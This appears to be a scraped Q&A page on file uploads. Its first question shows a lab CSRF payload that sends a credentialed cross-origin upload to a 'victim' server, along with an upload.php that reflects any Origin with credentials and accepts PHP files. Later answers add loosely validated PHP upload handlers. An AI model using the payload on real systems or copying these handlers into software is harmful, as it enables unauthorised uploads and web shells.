CSRF fileupload via CORS misconfiguration - ajax

I'm trouble in CSRF fileupload via CORS misconfiguration.....
This one is my payload ... to upload some files with ajax request ...
i'm tested in two vps ... one consider as victim and one as attacker.
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://165.227.79.228/index.php", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");
xhr.withCredentials = "true";
var body = "-----------------------------256672629917035\r\n" +
"Content-Disposition: form-data; name=\"message\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------256672629917035\r\n" +
"Content-Disposition: form-data; name=\"backPage\"\r\n" +
"\r\n" +
"test\r\n" +
"-----------------------------256672629917035\r\n" +
"Content-Disposition: form-data; name=\"dataType\"\r\n" +
"\r\n" +
"test \r\n" +
"-----------------------------256672629917035\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"test2.txt\"\r\n" +
"Content-Type: text/plain\r\n" +
"\r\n" +
"test3\r\n" +
"-----------------------------256672629917035--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="http://165.227.79.228/index.php">
<input type="submit" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
This one is index.php that hosted in victim machine ...
<!DOCTYPE html>
<html>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload Image" name="submit">
</form>
</body>
</html>
This one is upload.php to handle uploaded data.
<?php
$origin=$_SERVER['HTTP_ORIGIN'];
header('Access-Control-Allow-Origin:' . $origin);
header('Access-Control-Allow-Credentials: true');
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
if($imageFileType != "php" && $imageFileType != "txt" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only PHP, TXT,jpeg files are allowed.";
$uploadOk = 0;
}
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>
The XHR request is successfully transfer to victim machine but the form is not upload to victim's side . please help me. (I already tried lots of ways but can't solved this ...:-( Sorry my English skills)

Related

Adding a file field to the manifest file

My plugin requires a user to upload a file.
The manifest field doesn't set the form enctype="multipart/form-data" so when a file is uploaded it gets lost.
Is there a way to change this?
form xml :
<field name="con_image" type="file" label="" description="" hint="Image"/>
default.php
<div class="controls">
<?php if (!empty($this->item->con_image) && file_exists(JPATH_SITE.'/images/contact_image/thumb_' . $this->item->con_image)) : ?>
<img src="<?php echo JRoute::_(JUri::root() . 'images/contact_image/thumb_' . $this->item->con_image, false);?>">
<?php endif; ?>
<input type="hidden" name="jform[con_image]" id="jform_image_hidden" value="<?php echo $this->item->con_image; ?>" />
<?php echo $this->form->renderField('con_image'); ?>
</div>
your view table file code for image upload:
$files = $app->input->files->get('jform', array(), 'raw');
$array = $app->input->get('jform', array(), 'ARRAY');
if (!empty($files['con_image']['name']))
{
// Deleting existing files
$oldFiles = PlansHelpersPlans::getFiles($this->id, $this->_tbl, 'con_image');
foreach ($oldFiles as $f)
{
$oldFile = JPATH_ROOT . '/images/contact_image/' . $f;
if (file_exists($oldFile))
{
unlink($oldFile);
}
}
$this->con_image = "";
$singleFile = $files['con_image'];
jimport('joomla.filesystem.file');
// Check if the server found any error.
$fileError = $singleFile['error'];
$message = '';
if ($fileError > 0 && $fileError != 4)
{
switch ($fileError)
{
case 1:
$message = JText::_('File size exceeds allowed by the server');
break;
case 2:
$message = JText::_('File size exceeds allowed by the html form');
break;
case 3:
$message = JText::_('Partial upload error');
break;
}
if ($message != '')
{
$app->enqueueMessage($message, 'warning');
return false;
}
}
elseif ($fileError == 4)
{
if (isset($array['con_image']))
{
$this->con_image = $array['con_image'];
}
}
else
{
// Replace any special characters in the filename
jimport('joomla.filesystem.file');
$filename = JFile::stripExt($singleFile['name']);
$extension = JFile::getExt($singleFile['name']);
$filename = preg_replace("/[^A-Za-z0-9]/i", "-", $filename);
$filename = rand()."-".$filename . '.' . $extension;
$uploadPath = JPATH_ROOT . '/images/contact_image/' . $filename;
$fileTemp = $singleFile['tmp_name'];
if (!JFile::exists($uploadPath))
{
if (!JFile::upload($fileTemp, $uploadPath))
{
$app->enqueueMessage('Error moving file', 'warning');
return false;
}
}
//$this->con_image .= (!empty($this->con_image)) ? "," : "";
$this->con_image = $filename;
}
}else{
$this->con_image = $array['con_image'];
}
Still you have problem then check HERE
Download my simple component : https://github.com/erakashpatel/Important-notes/blob/master/com_helloworld.zip
OR
https://github.com/erakashpatel/Important-notes/blob/master/com_test.zip
I hope its works.Thanks in advance.
for xml :
Joomla File form field type in xml:
https://docs.joomla.org/File_form_field_type
<field name="myfilevalue" type="file" label="Enter some text" description="Choose an image from your computer with maximum 100KB" size="10" accept="image/*" />
OR
if your file field in html form then used :
<input type="file" name="jform[myfilevalue]" >
I hope its help,
else provide more description please

Is it possible to leverage one template and one uploader/java scipt for multiple instances of uploader?

This may be TOO much to ask, but I still want to ask as it looks like too much code on web pages.
I have following template and javascript for a single instance of uploader. In my case, I have to use 8 uploader instances in a page (ofcourse in tabs!). If at all possible, I DO NOT want to repeat below code chunks to all 8 uploaders. Is is possible to leverage code (template,javascript) for all uploaders.
Please see my javascript that I am trying to re-use; but on the execution it fails for ...Uncaught Error: Method ....jsonStringCreatedByMyFunction - see my json string below..... does not exist on jQuery.fineUploader
template:
<script type="text/template" id="qq-template-manual-trigger-section1">
<div class="qq-uploader-selector qq-uploader" qq-drop-area-text="Drop files here">
<div class="qq-total-progress-bar-container-selector qq-total-progress-bar-container">
<div role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" class="qq-total-progress-bar-selector qq-progress-bar qq-total-progress-bar"></div>
</div>
<div class="qq-upload-drop-area-selector qq-upload-drop-area" qq-hide-dropzone>
<span class="qq-upload-drop-area-text-selector"></span>
</div>
<div class="buttons">
<div class="qq-upload-button-selector qq-upload-button">
<div>Select files</div>
</div>
<button type="button" id="trigger-upload-section1" class="btn btn-primary">
<i class="icon-upload icon-white"></i> Upload
</button>
</div>
<span class="qq-drop-processing-selector qq-drop-processing">
<span>Processing dropped files...</span>
<span class="qq-drop-processing-spinner-selector qq-drop-processing-spinner"></span>
</span>
<ul class="qq-upload-list-selector qq-upload-list" aria-live="polite" aria-relevant="additions removals">
<li>
<div class="qq-progress-bar-container-selector">
<div role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" class="qq-progress-bar-selector qq-progress-bar"></div>
</div>
<span class="qq-upload-spinner-selector qq-upload-spinner"></span>
<div>
<img class="qq-thumbnail-selector" qq-max-size="80" qq-server-scale>
<span class="qq-upload-file-selector qq-upload-file"></span>
<span class="qq-upload-size-selector qq-upload-size"></span>
<span class="qq-edit-filename-icon-selector qq-edit-filename-icon qq-editable" aria-label="Edit filename"></span>
<input class="qq-edit-filename-selector qq-edit-filename" tabindex="0" type="text">
</div>
<span class="qq-upload-caption-selector qq-upload-caption"></span>
<span class="qq-edit-caption-icon-selector qq-edit-caption-icon kk-editable" aria-label="Edit caption"></span>
<input class="qq-edit-caption-selector qq-edit-caption kk-editing" placeholder="Caption here ..." tabindex="0" type="text">
<button type="button" class="qq-btn qq-upload-delete-selector qq-upload-update-caption" onclick="captionUpdate(true);">Update Caption</button>
<button type="button" class="qq-btn qq-upload-cancel-selector qq-upload-cancel">Cancel</button>
<button type="button" class="qq-btn qq-upload-retry-selector qq-upload-retry">Retry</button>
<button type="button" class="qq-btn qq-upload-delete-selector qq-upload-delete" onclick="captionUpdate(false);">Delete</button
<span role="status" class="qq-upload-status-text-selector qq-upload-status-text"></span>
</li>
</ul>
</div>
</script>
Javascript:
function getFineUploaderJsonObjectStr(sectionInd) {
var requestObj = new Object();
requestObj.endpoint = 'http://s3.amazonaws.com/mybucket';
requestObj.accessKey = 'AKvcccccvccvBIA';
var objectPropertiesObj = new Object();
objectPropertiesObj.key = " function (fileId) { " +
" return $('#login_name').val()+ '/' + $('#book_id).val() + '/' " + sectionInd + " '/' + $('#fine-uploader-manual-trigger-" + sectionInd + " ').fineUploader('getName',fileId); " +
" } ";
var signatureObj = new Object();
signatureObj.endpoint = "http://localhost/app/ci/fine/endpoint";
var uploadSuccessObj = new Object();
uploadSuccessObj.endpoint = "http://localhost/app/ci/fine/endpoint?success";
var uploadSuccessObjParams = new Object();
uploadSuccessObjParams.isBrowserPreviewCapable = qq.supportedFeatures.imagePreviews;
uploadSuccessObjParams.bookid = " function() { return $('#book_id').val(); } ";
uploadSuccessObjParams.sectionid = " function() { return $('#section_id').val(); } ";
uploadSuccessObjParams.section = " function() { return 'section1'; } ";
uploadSuccessObj.params = uploadSuccessObjParams;
var sessionObj = new Object();
sessionObj.endpoint = "http://localhost/app/ci/fine/endpoint?filelist";
var sessionObjParams = new Object();
sessionObjParams.key = " function() { " +
" return $('#login_name').val()+ '/' + $('#book_id').val() + '/' " + sectionInd + " ; " +
" } ";
sessionObj.params = sessionObjParams;
var iframeSupportObj = new Object();
iframeSupportObj.localBlankPagePath = "success.html";
var corsObj = new Object();
corsObj.expected = true;
var chunkingObj = new Object();
chunkingObj.enabled = true;
var resumeObj = new Object();
resumeObj.enabled = true;
var deleteFileObj = new Object();
deleteFileObj.enabled = true;
deleteFileObj.method = "POST";
deleteFileObj.endpoint = "http://localhost/app/ci/fine/endpoint";
var deleteFileParams = new Object();
deleteFileParams.qqcaption = " function() { if (isCaptionUpdate === true) { return captionValue; } } ";
deleteFileParams.bookid = " function() { return $('#book_id').val(); } ";
deleteFileParams.sectionid = " function() { return $('#section1_id').val(); } ";
deleteFileObj.params = deleteFileParams;
var validationObj = new Object();
validationObj.itemLimit = 500;
validationObj.sizeLimit = 15000000;
var thumbnailsObj = new Object();
var thumbnailsObjPlaceholders = new Object();
thumbnailsObjPlaceholders.notAvailablePath = "http://localhost/app/ci/s3.fine-uploader/placeholders/not_available-generic.png";
thumbnailsObjPlaceholders.waitingPath = "http://localhost/app/ci/s3.fine-uploader/placeholders/waiting-generic.png";
thumbnailsObj.placeholders = thumbnailsObjPlaceholders;
var callbacksObj = new Object();
callbacksObj.onComplete = " function(id, name, response) { " +
" if (response.success) { " +
" setSectionImageCount('1', 'U', 0); " +
" } " +
" } ";
callbacksObj.onError = " function(id, name, errorReason, xhrOrXdr) { " +
" if (!isCaptionUpdate) {//isCaptionUpdate will return 206 " +
" alert(qq.format('Error on file number {} - {}. Reason: {}', id, name, errorReason)); " +
" } " +
" } ";
callbacksObj.onUpload = " function(id, fileName) { " +
" captionValue = qq(this.getItemByFileId(id)).getByClass('qq-edit-caption')[0].value; " +
" this.setParams({'qqcaption':captionValue}); " +
" } ";
callbacksObj.onDelete = " function(id) { " +
" captionValue = qq(this.getItemByFileId(id)).getByClass('qq-edit-caption')[0].value; " +
" //change sttaus to 'Updating..' if it is Caption update " +
" var statusSpan = qq(this.getItemByFileId(id)).getByClass('qq-upload-status-text')[0]; " +
" if (isCaptionUpdate === true) { " +
" statusSpan.innerText = 'Updating...'; " +
" } " +
" } ";
callbacksObj.onDeleteComplete = " function(id, xhr, isError) { " +
" if (!isError) { " +
" setSectionImageCount('1', 'D', 0); " +
" } else if (isCaptionUpdate === true) { " +
" statusSpan.innerText = ''; " +
" } " +
" } ";
callbacksObj.onSubmitted = " function (id, name) { " +
" //nothing " +
"} ";
callbacksObj.onStatusChange = " function(id, oldStatus, newStatus) { " +
" if (oldStatus === 'submitting' && newStatus === 'submitted'){ " +
" //hide 'Update Caption' btn for uploading files " +
" var updateCaptionBtn = qq(this.getItemByFileId(id)).getByClass('qq-upload-update-caption')[0]; " +
" qq(updateCaptionBtn).hide(); " +
" } " +
" } ";
callbacksObj.onSessionRequestComplete = " function(response, success, xhrOrXdr) { " +
" //alert(response.length); uploaded file count should be added to it; " +
" if (success) { " +
" if (response.length > 0) { " +
" //$('#section1ImageCount').text(response.length); " +
" setSectionImageCount('1', 'I', response.length); " +
" } " +
" var uploader = this; " +
" response.forEach(function(item) { " +
" var id = uploader.getUploads({uuid: item.uuid}).id; " +
" var fileEl = uploader.getItemByFileId(id); " +
" fileEl.querySelector('.qq-edit-caption').value = item.qqcaption; " +
" }) " +
" } " +
" } ";
var wrapperObj = new Object();
wrapperObj.template = 'qq-template-manual-trigger-'+sectionInd;
//wrapperObj.template = 'qq-template-manual-trigger';
wrapperObj.autoUpload = false;
wrapperObj.debug = true;
wrapperObj.request = requestObj;
wrapperObj.objectProperties = objectPropertiesObj;
wrapperObj.signature = signatureObj;
wrapperObj.uploadSuccess = uploadSuccessObj;
wrapperObj.session = sessionObj;
wrapperObj.iframeSupport = iframeSupportObj;
wrapperObj.cors = corsObj;
wrapperObj.chunking = chunkingObj;
wrapperObj.resume = resumeObj;
wrapperObj.deleteFile = deleteFileObj;
wrapperObj.validation = validationObj;
wrapperObj.thumbnails = thumbnailsObj;
wrapperObj.callbacks = callbacksObj;
var jsonString = JSON.stringify(wrapperObj);
console.log(jsonString);
return jsonString;
};
var section1JsonStr = getFineUploaderJsonObjectStr('section1');
var section2JsonStr = getFineUploaderJsonObjectStr('section2');
$('#fine-uploader-manual-trigger-section1').fineUploaderS3(section1JsonStr);
$('#fine-uploader-manual-trigger-section2').fineUploaderS3(section2JsonStr);
$('#trigger-upload-section1').click(function() {
$('#fine-uploader-manual-trigger-section1').fineUploaderS3('uploadStoredFiles');
});
$('#trigger-upload-section2').click(function() {
$('#fine-uploader-manual-trigger-section2').fineUploaderS3('uploadStoredFiles');
});
jsonStringCreatedByMyFunction:
{"template":"qq-template-manual-trigger-section1","autoUpload":false,"debug":true,"request":{"endpoint":"http://s3.amazonaws.com/mybucket","accessKey":"AKvvvvhjjjjAABIA"},"objectProperties":{"key":" function (fileId) { \treturn $('#login_name').val()+ '/' + $('#book_id).val() + '/' section1 '/' + $('#fine-uploader-manual-trigger-section1 ').fineUploader('getName',fileId); } "},"signature":{"endpoint":"http://localhost/app/ci/fine/endpoint"},"uploadSuccess":{"endpoint":"http://localhost/app/ci/fine/endpoint?success","params":{"isBrowserPreviewCapable":true,"bookid":" function() { return $('#book_id').val(); } ","sectionid":" function() { return $('#section_id').val(); } ","section":" function() { return 'section1'; } "}},"session":{"endpoint":"http://localhost/app/ci/fine/endpoint?filelist","params":{"key":" function() { \treturn $('#login_name').val()+ '/' + $('#book_id').val() + '/' section1 ; } "}},"iframeSupport":{"localBlankPagePath":"success.html"},"cors":{"expected":true},"chunking":{"enabled":true},"resume":{"enabled":true},"deleteFile":{"enabled":true,"method":"POST","endpoint":"http://localhost/app/ci/fine/endpoint","params":{"qqcaption":" function() { if (isCaptionUpdate === true) { return captionValue; } } ","bookid":" function() { return $('#book_id').val(); } ","sectionid":" function() { return $('#section1_id').val(); } "}},"validation":{"itemLimit":500,"sizeLimit":15000000},"thumbnails":{"placeholders":{"notAvailablePath":"http://localhost/app/ci/s3.fine-uploader/placeholders/not_available-generic.png","waitingPath":"http://localhost/app/ci/s3.fine-uploader/placeholders/waiting-generic.png"}},"callbacks":{"onComplete":" function(id, name, response) { \tif (response.success) { \t\tsetSectionImageCount('1', 'U', 0); \t} } ","onError":" function(id, name, errorReason, xhrOrXdr) { \tif (!isCaptionUpdate) {//isCaptionUpdate will return 206 \t\talert(qq.format('Error on file number {} - {}. Reason: {}', id, name, errorReason)); \t} } ","onUpload":" function(id, fileName) { \tcaptionValue = qq(this.getItemByFileId(id)).getByClass('qq-edit-caption')[0].value; \tthis.setParams({'qqcaption':captionValue}); } ","onDelete":" function(id) { \tcaptionValue = qq(this.getItemByFileId(id)).getByClass('qq-edit-caption')[0].value; \t//change sttaus to 'Updating..' if it is Caption update \tvar statusSpan = qq(this.getItemByFileId(id)).getByClass('qq-upload-status-text')[0]; \tif (isCaptionUpdate === true) { \t\tstatusSpan.innerText = 'Updating...'; \t} } ","onDeleteComplete":" function(id, xhr, isError) { \tif (!isError) { \t\tsetSectionImageCount('1', 'D', 0); \t} else if (isCaptionUpdate === true) {\t\t\tstatusSpan.innerText = ''; \t} } ","onSubmitted":" function (id, name) { //nothing } ","onStatusChange":" function(id, oldStatus, newStatus) { \tif (oldStatus === 'submitting' && newStatus === 'submitted'){ \t\t//hide 'Update Caption' btn for uploading files \t\tvar updateCaptionBtn = qq(this.getItemByFileId(id)).getByClass('qq-upload-update-caption')[0]; \t\tqq(updateCaptionBtn).hide(); \t} } ","onSessionRequestComplete":" function(response, success, xhrOrXdr) { \t//alert(response.length); uploaded file count should be added to it; \tif (success) { \t\t\t\tif (response.length > 0) { \t\t\t//$('#section1ImageCount').text(response.length); \t\t\tsetSectionImageCount('1', 'I', response.length); \t\t} \t\tvar uploader = this;\t \t\tresponse.forEach(function(item) { \t\t\tvar id = uploader.getUploads({uuid: item.uuid}).id; \t\t\tvar fileEl = uploader.getItemByFileId(id); \t\t\tfileEl.querySelector('.qq-edit-caption').value = item.qqcaption; \t\t}) \t} } "}}

iframe onloads before the time when file uploads

I'm trying to upload file on server by submitting the form and return information about file upload status in iframe. The problem is that iframe onloads before the time when file uploads...
Here is my JS:
var resp;
function doAjaxPost()
{
$.ajax({
Accept: "text / html, application / xhtml + xml, application / xml; q = 0.9, image / webp, * /*;q=0.8",
contentType: "application/x-www-form-urlencoded",
type: "POST",
url: some_uri,
data: some_data,
success: function (response)
{
var recordid = response.substring(response.indexOf('<span id="st_id"></span>') + '<span id="st_id"></span>'.length, response.indexOf('<span id="fin_id"></span>'));
$("#photo").attr("action", "/uploadmyshowcase?table=enmyshowcase&field=enf_photow&id=" + recordid);
$("#photo").submit();
resp = response;
}
} );
function frameCheck(frm)
{
var frmDoc = frm.contentDocument || frm.contentWindow.document;
var field;
if (frmDoc.body.innerHTML && /You successfully uploaded file/.test(frmDoc.body.innerHTML))
{
$('#list').html(resp.substring(resp.indexOf('<span id="st_list"></span>'), resp.indexOf('<span id="fin_list"></span>')));
// Here I replace the part of the current page when file uploaded by placing the <img>-tag with the link on uploaded file.
}
}
Here is my HTML:
<div class="col-md-8" >
<form id="photo" method="POST" action="" target="result" enctype="multipart/form-data" accept-charset="UTF-8">
<input class="noreq input_file" type="file" name="file">
<input class="noreq input_file" style="display:none" type="text" name="name">
</form>
</div>
<iframe class="hidden" id="res" name="result" onload="frameCheck(this)"></iframe>
Here is my upload controller:
#RequestMapping(value = "/uploadmyshowcase", method = RequestMethod.POST)
public #ResponseBody
String uploadFileController(#RequestParam("name") String name,
#RequestParam("file") MultipartFile file,
#RequestParam(value = "table", required = false) String table,
#RequestParam(value = "field", required = false) String field,
#RequestParam(value = "id", required = false) String Id,
Model model) {
if (!file.isEmpty()) {
try {
byte[] bytes = file.getBytes();
File dir = new File("D:\\NetBeansProjects\\bar\\src\\main\\webapp\\resources\\rcvdFiles");
if (!dir.exists()) {
dir.mkdirs();
}
String[] ext;
if (file.getOriginalFilename().contains(".")) {
ext = file.getOriginalFilename().toString().split("\\.");
if (!"jpg".equals(ext[1]) && !"jpeg".equals(ext[1])) {
return "Wrong format~" + field;
}
} else {
return "Wrong format~" + field;
}
File serverFile = new File(dir.getAbsolutePath() + File.separator + table + "-" + field + "-" + Id + "." + ext[1]);
BufferedOutputStream stream = new BufferedOutputStream(new FileOutputStream(serverFile));
stream.write(bytes);
stream.close();
String href = "";
switch (field) {
case "enf_photow":
if (new File(dir.getAbsolutePath() + File.separator + table + "-" + field + "-" + Id + "." + ext[1]).exists()) {
href = "/resources/rcvdFiles/" + table + "-" + field + "-" + Id + "." + ext[1];
}
break;
}
return "You successfully uploaded file~" + field + "~" + href + "~" + Id;
} catch (Exception e) {
return "Wrong format~" + field;
}
} else {
return "Wrong format~" + field;
}
As result I see, that frameCheck() is calling before the time when file uploaded on the server. And the IMG that I placing programmatically on page is empty and console says, that Resource not found... What's wrong?
Thank You.
EDIT
I tried to create iframe programmatically, but still I have the same result :(
My modified JS:
$.ajax({
Accept: "text / html, application / xhtml + xml, application / xml; q = 0.9, image / webp, * /*;q=0.8",
contentType: "application/x-www-form-urlencoded",
type: "POST",
url: uri,
data: ctrls,
success: function (response) {
var recordid = response.substring(response.indexOf('<span id="st_id"></span>') + '<span id="st_id"></span>'.length, response.indexOf('<span id="fin_id"></span>'));
if(!del)
{
var iframe = document.createElement("iframe");
iframe.name = "result";
iframe.setAttribute('id', "res");
document.body.appendChild(iframe);
$("#photo").attr("action", "/uploadmyshowcase?table=enmyshowcase&field=enf_photow&id=" + recordid);
$("#photo").prop("target", "result");
$("#photo").submit();
resp = response;
$("#res").load(function() {
frameCheck($("#res"));
});
}
}
} );
My modified HTML:
<form id="photo" method="POST" action="" enctype="multipart/form-data" accept-charset="UTF-8">
<input class="noreq input_file" type="file" name="file">
<input class="noreq input_file" style="display:none" type="text" name="name">
</form>
The issue is because iframe's onload does not wait for the ajax to be done. That's the reason you are running into that issue. You can alter your code to below get it called after ajax response is returned. Give it a try. This should give you the gist of it.
function doAjaxPost()
{
$.ajax({
Accept: "text / html, application / xhtml + xml, application / xml; q = 0.9, image / webp, * /*;q=0.8",
contentType: "application/x-www-form-urlencoded",
type: "POST",
url: some_uri,
data: some_data,
success: function (response)
{
var recordid = response.substring(response.indexOf('<span id="st_id"></span>') + '<span id="st_id"></span>'.length, response.indexOf('<span id="fin_id"></span>'));
$("#photo").attr("action", "/uploadmyshowcase?table=enmyshowcase&field=enf_photow&id=" + recordid);
$("#photo").submit();
resp = response;
// set and call your iframe onload function here. You can also create your iframe here, if just setting your onload does not work.
$("#res").onload = frameCheck($("#res"));
}
} );
Remove onload from iframe.
<div class="col-md-8" >
<form id="photo" method="POST" action="" target="result" enctype="multipart/form-data" accept-charset="UTF-8">
<input class="noreq input_file" type="file" name="file">
<input class="noreq input_file" style="display:none" type="text" name="name">
</form>
</div>
<iframe class="hidden" id="res" name="result" "></iframe>

File (picture) Upload not working

Okay so I just basically got this code online.
It works locally (to upload a file), but it doesn't wanna work on the website.
(I've already put the permissions at 0777, for the folder, but it still won't upload.
<header>
<?php
function UploadOne($fname)
{
$uploaddir = 'pictures/';
if (is_uploaded_file($fname['tmp_name']))
{
$filname = basename($fname['name']);
$uploadfile = $uploaddir . basename($fname['name']);
if (move_uploaded_file ($fname['tmp_name'], $uploadfile))
$res = "File " . $filname . " was successfully uploaded and stored.<br>";
else
$res = "Could not move ".$fname['tmp_name']." to ".$uploadfile."<br>";
}
else
$res = "File ".$fname['name']." failed to upload.";
return ($res);
}
?> </header>
<body>
<?php
if ($_FILES['picture']['name'] != "")
{
$res = UploadOne($_FILES['picture']);
$filname = $_FILES['picture']['name'];
echo ($res);
}
?>
<h1>UPLOADING FILES</h1>
<form name="fupload" enctype="multipart/form-data" action="upfiles.php" method="post">
<input type="file" name="picture" />
<input type="submit" value="Submit" />
</form>
</body>

CodeIgniter - Image submit button not working

I am using CI to create a project for a client, I have a submit button as an image but it doesn't seem to be submitting the form, the code I have at the moment is.
<input type="image" name="trialSubmit" id="trialSubmit" src="<?php echo base_url().'images/subscribe_free.jpg'; ?>" style="height:29px;width:207px;border-width:0px;" />
The code I have to use at the moment is as follows
<input type="submit" name="trialSubmit" value=" Subscribe Free " id="" class="button" />
If anyone could shed some light on why it's not working with the image, that would be tight.
Cheers,
Is it across all browsers? Or IE specific? What about if you add an onclick event just for testing? onclick="javascript:document.formidhere.submit()"
I'd recommend using either <input type="submit" /> or my preference would be to use <button type="submit> due to browser inconsistencies with <input type="image" /> and just style the button with something like:
button{
background:url('/images/subscribe_free.jpg') no-repeat;
height:29px;
width:207px;
border:0;
}
Try adding value="trialSubmit" to get the image to submit. Seemed to work for me.
You could also see if this answer helps:
image submit button
**inside the view(as comerciales in my case)**,
<form action= "<?php echo site_url()?>/admin/doupload" method="post" enctype="multipart/form-data" >
<b> Select the image to upload( Maximum size 500 kb, jpg, jpeg): </b>
<input style="color:#00A76F" type="file" name="fileToUpload" id="fileToUpload">
<div class="input-group" style="left:10%;width:85%;">
<input class="btn btn-success pull-right" style="background:#00A76F" type="submit" value="Upload Image" name="submit">
</div>
</form>
<div class="modal-body">
<div id="user_data">
<?php
if (!empty($massage)){
echo $massage ;
}
?>
</div>
**inside the controller define a method**
public function doupload(){
$root1 = $_SERVER['DOCUMENT_ROOT'];;
$target_dir = $root1."/nawaloka/uploads/";
// $target_dir = $root1."/nawaloka/application/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);
// Check if file already exists
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
$data['massage']= "Sorry, your file is too large.";
$partials = array('content' => 'Admin/comerciales');
$this->template->load('template/admin_template', $partials,$data);
$uploadOk = 0;
}
if (is_dir($target_dir) && is_writable($target_dir)) {
// do upload logic here
} else {
echo 'Upload directory is not writable, or does not exist.';
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "jpeg" ) {
$data['massage']= "Sorry, only JPG, JPEG files are allowed.";
$partials = array('content' => 'Admin/comerciales');
$this->template->load('template/admin_template', $partials,$data);
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
$data['massage']= "Sorry, your file was not uploaded.";
$partials = array('content' => 'Admin/comerciales');
$this->template->load('template/admin_template', $partials,$data);
// if everything is ok, try to upload file
} else {
array_map('unlink', glob("/var/www/html/nawaloka/uploads/*"));
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],"/var/www/html/nawaloka/uploads/shamith.jpg")) {
$data['massage']= "The image ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
$partials = array('content' => 'Admin/comerciales');
$this->template->load('template/admin_template', $partials,$data);
//echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
} else {
$data['massage']= "Sorry, there was an error while uploading your file.";
$partials = array('content' => 'Admin/comerciales');
$this->template->load('template/admin_template', $partials,$data);
}
}
}

Resources